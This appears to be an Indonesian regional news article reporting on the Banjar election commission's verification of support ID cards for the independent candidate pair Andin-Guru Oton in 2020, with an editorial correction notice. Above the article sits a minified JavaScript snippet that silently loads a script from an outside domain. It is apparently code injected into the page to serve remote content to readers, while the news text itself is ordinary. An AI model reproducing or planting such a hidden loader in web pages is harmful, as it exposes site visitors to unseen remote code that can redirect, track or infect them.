(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – KPU Banjar serahkan berita acara hasil dari tahapan verifikasi administrasi untuk perbaikan pasangan calon kepala daerah jalur perseorangan di Pilkada Banjar, Selasa (4/8/2020) pukul 24.00 Wita.
Penyerahan berita acara ini berisi hasil tahapan verfikasi administrasi untuk pasangan Andin- Muhammad Syarif Busthomi (Guru Oton) yang sebelumnya menyerahkan bukti dukungan perbaikan berjumlah 22.194 KTP. Perbaikan tersebut guna menambal kekurangan suara sebanyak 13.118 yang ditetapkan KPU.
Lalu bagaimana hasilnya? Pengecekan tahapan verifikasi administrasi yang di lakukan KPU Banjar untuk pasangan Andin-Guru Oton, mencatat yang terhitung data tidak memenuhi syarat (TMS) sebanyak 7.605 dan untuk jumlah memenuhi syarat (MS) sebanyak 13.589 dukungan.
Karena melebihi syarat perbaikan yang ditetapkan, yakni selisih lebih 471 dukungan untuk lanjut di verifikasi faktual. Namun demikian, untuk melanjutkan ke tahapan verivikasi faktual ini KPU Banjar akan melakukan penyampaian syarat dukungan hasil perbaikan ini ke setiap Panitia Pemungutan Suara (PPS) melalui Panitia Pemilihan Kecamatan (PPK) 8-10 Agustus 2020.
Tahapan verifikasi faktual ini akan dilaksanakan selama 7 hari dari mulai tanggal 8-16 Agustus sama seperti tahapan verifikasi faktual lalu.
Di sisi lain, Divisi Pengawasan Bawaslu Banjar Hairul Falah mengatakan, bakal melakukan pengawasan melekat terkait kelanjutan proses tahapan lanjutan. “Kita akan melakukan pengawasan dengan ketat,†katanya.
Sebelumnya, berdasarkan hasil rapat pleno KPU Banjar, memutuskan KTP dukungan terhadap Andin-Guru Oton sebanyak 28.678 yang memenuhi syarat, masih ada kekurangan 6.559 KTP dukungan, sehingga ‘denda’ perbaikan syarat KTP dukungan sebanyak 13.118.
Andin-Guru Oton merupkan satu-satunya kandidat jalur independen yang masih bertahan. Mereka berjuang untuk lolos sebagai calon alternatif di Pilkada Banjar dari jalur non partai.
Sebelumnya, rekannya pasangan Yunani-Sidiq menyatakan mundur di saat penyerahan perbaikan dukungan, Senin (27/7/2020).
M Taufik, selaku tim pemenangan Yunani-Sidiq menyerahkan berkas pengunduran diri pasangannya di Pilkada Banjar ke KPU. Terkait hal tersebut, Muhaimin SAg selaku Ketua KPU Banjar menyampaikan dalam berkas pengunduran diri dari bakal calon yunani dan Shiddik sudah diterima.
Sementara hingga tutup masa perbaikan dukungan, pasangan Mada Teruna-Ferryansyah ketika itu tak datang. Langkah tersebut dilakukan karena sebelumnya mereka menyatakan menolak hasil pleno verifikasi suara KPU Banjar. (kanalkalimantan.com/putra)
——————————-
CATATAN REDAKSI: Berita ini telah mengalami penyuntingan kembali oleh redaksi sehubungan kesalahan dalam penentuan persyaratan verifikasi faktual berdasar PKPU yang hanya dihitung berdasarkan dari jumlah kekurangan suara. Kepada pihak yang merasa dirugikan atas pemberitaan sebelumnya redaksi menyampaikan maaf. Terima Kasih.
——————————-
Reporter: Putra
Editor: Cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.